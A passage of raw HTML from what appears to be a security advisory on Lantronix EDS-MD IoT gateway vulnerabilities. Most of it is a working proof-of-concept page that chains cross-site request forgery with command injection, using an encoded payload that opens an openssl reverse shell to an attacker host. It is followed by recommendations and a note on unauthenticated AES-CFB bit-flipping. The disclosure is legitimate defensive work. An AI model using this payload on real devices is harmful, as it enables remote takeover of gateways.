&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-11" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-11"&gt;&lt;/a&gt;Target Lantronix box: &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.1.98/"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-12" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-12"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.1.12/"&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-13" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-13"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"ajax"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"SslGenerateCertificate"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-14" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-14"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"c"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"ch"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-15" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-15"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"s"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-16" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-16"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"l"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-17" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-17"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"o"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-18" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-18"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"ou"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-19" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-19"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"cn"&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"payload"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bbbbbbb&amp;amp;apos;&amp;amp;#124;&amp;amp;#124;&amp;amp;#32;mkfifo&amp;amp;#32;&amp;amp;#47;tmp&amp;amp;#47;s&amp;amp;#59;&amp;amp;#32;&amp;amp;#47;bin&amp;amp;#47;sh&amp;amp;#32;&amp;amp;#45;i&amp;amp;#32;&amp;amp;lt;&amp;amp;#32;&amp;amp;#47;tmp&amp;amp;#47;s&amp;amp;#32;2&amp;amp;gt;&amp;amp;amp;1&amp;amp;#32;&amp;amp;#124;&amp;amp;#32;openssl&amp;amp;#32;s&amp;amp;#95;client&amp;amp;#32;&amp;amp;#45;quiet&amp;amp;#32;&amp;amp;#45;connect&amp;amp;#32;192&amp;amp;#46;168&amp;amp;#46;1&amp;amp;#46;88&amp;amp;#58;4444&amp;amp;#32;&amp;amp;gt;&amp;amp;#32;&amp;amp;#47;tmp&amp;amp;#47;s&amp;amp;#59;&amp;amp;#32;rm&amp;amp;#32;&amp;amp;#47;tmp&amp;amp;#47;s&amp;amp;#32;&amp;amp;#35;"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-20" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-20"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"expires"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"01&amp;amp;#47;01&amp;amp;#47;2026"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-21" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-21" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-21"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"keytype"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"DSA"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-22" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-22" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-22"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bits"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"512"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-23" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-23" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-23"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"sslcredentialname"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"abbb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-24" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-24" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-24"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"pwn"&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"display:none"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-25" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-25" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-25"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-26" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-26" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-26"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-27" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-27" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-27"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"pwn"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-28" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-28" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-28"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-29" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-29" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-29"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-30" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-30" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-30"&gt;&lt;/a&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"submit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-31" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-31" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-31"&gt;&lt;/a&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-32" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-32" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-32"&gt;&lt;/a&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'target'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-33" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-33" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-33"&gt;&lt;/a&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'payload'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-34" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-34" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-34"&gt;&lt;/a&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'192.168.1.88'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'reverseip'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-35" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-35" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-35"&gt;&lt;/a&gt;&lt;span class="c1"&gt;//console.log("payload: " + document.getElementById('payload').value);&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-36" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-36" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-36"&gt;&lt;/a&gt;&lt;span class="c1"&gt;//console.log("action: " + document.forms[0].action);&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-37" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-37" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-37"&gt;&lt;/a&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-38" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-38" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-38"&gt;&lt;/a&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-39" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-39" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-39"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-40" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-40" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-40"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-41" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-41" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-41"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="precondition-2"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs access to the administrative web interface.&lt;/p&gt;
&lt;p&gt;While this is unlikely if authentication is enabled, this issue simplifies the exploitation of the Cross-Site Request Forgery issue (see finding 1), by gaining command execution on the Lantronix box via Cross-Site Request Forgery. In this case the preconditions of the Cross-Site Request Forgery apply instead.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-2"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Avoid passing arguments to a shell or not use any shell execution at all.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To filter user input according to an allowed-characters approach.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To escape shell arguments correctly.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="missing-authentication-on-aes-encrypted-connection"&gt;
&lt;h2&gt;4. Missing authentication on AES-encrypted connection&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N, 5.9 Medium&lt;/pre&gt;
&lt;section id="summary-3"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;As the Lantronix IoT gateway only uses an AES CFB encryption without authentication, an attacker can manipulate data without being detected. No CVE has been assigned to this vulnerability yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-3"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker can feed manipulated data into the receiving machine.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-3"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;No TLS is used between the Lantronix IoT gateway and the receiving end, but only AES CFB encryption.&lt;/p&gt;
&lt;p&gt;An attacker can flip a bit in the cleartext by flipping the same bit in the ciphertext. In general, this allows arbitrary modification of the sent data.&lt;/p&gt;
&lt;p&gt;Usually, applications will send and parse certain messages and therefore the application is coded to parse single messages. However, the underlying AES encryption will use blocks. A message might consist of several blocks.&lt;/p&gt;
&lt;p&gt;A side effect is that the next AES block (128 bit = 16 bytes) will be randomly changed (the changes are unpredictable to the attacker as he does not know the secret key). This problem can be solved by the attacker by only modifying the last block of a message (and therefore the start of the next message would be corrupt) or by finding a place in a message, where a random corruption of the next AES block does not matter.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-3"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker has to be in a Machine-In-The-Middle (MITM) position to conduct the attack. The attacker would need to know the length of messages and locations of where a bit flip should happen. Additionally, an attacker has to correlate AES cipher blocks with application messages, so that the last block of a message is attacked or somewhere where the next block can be corrupted.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-3"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
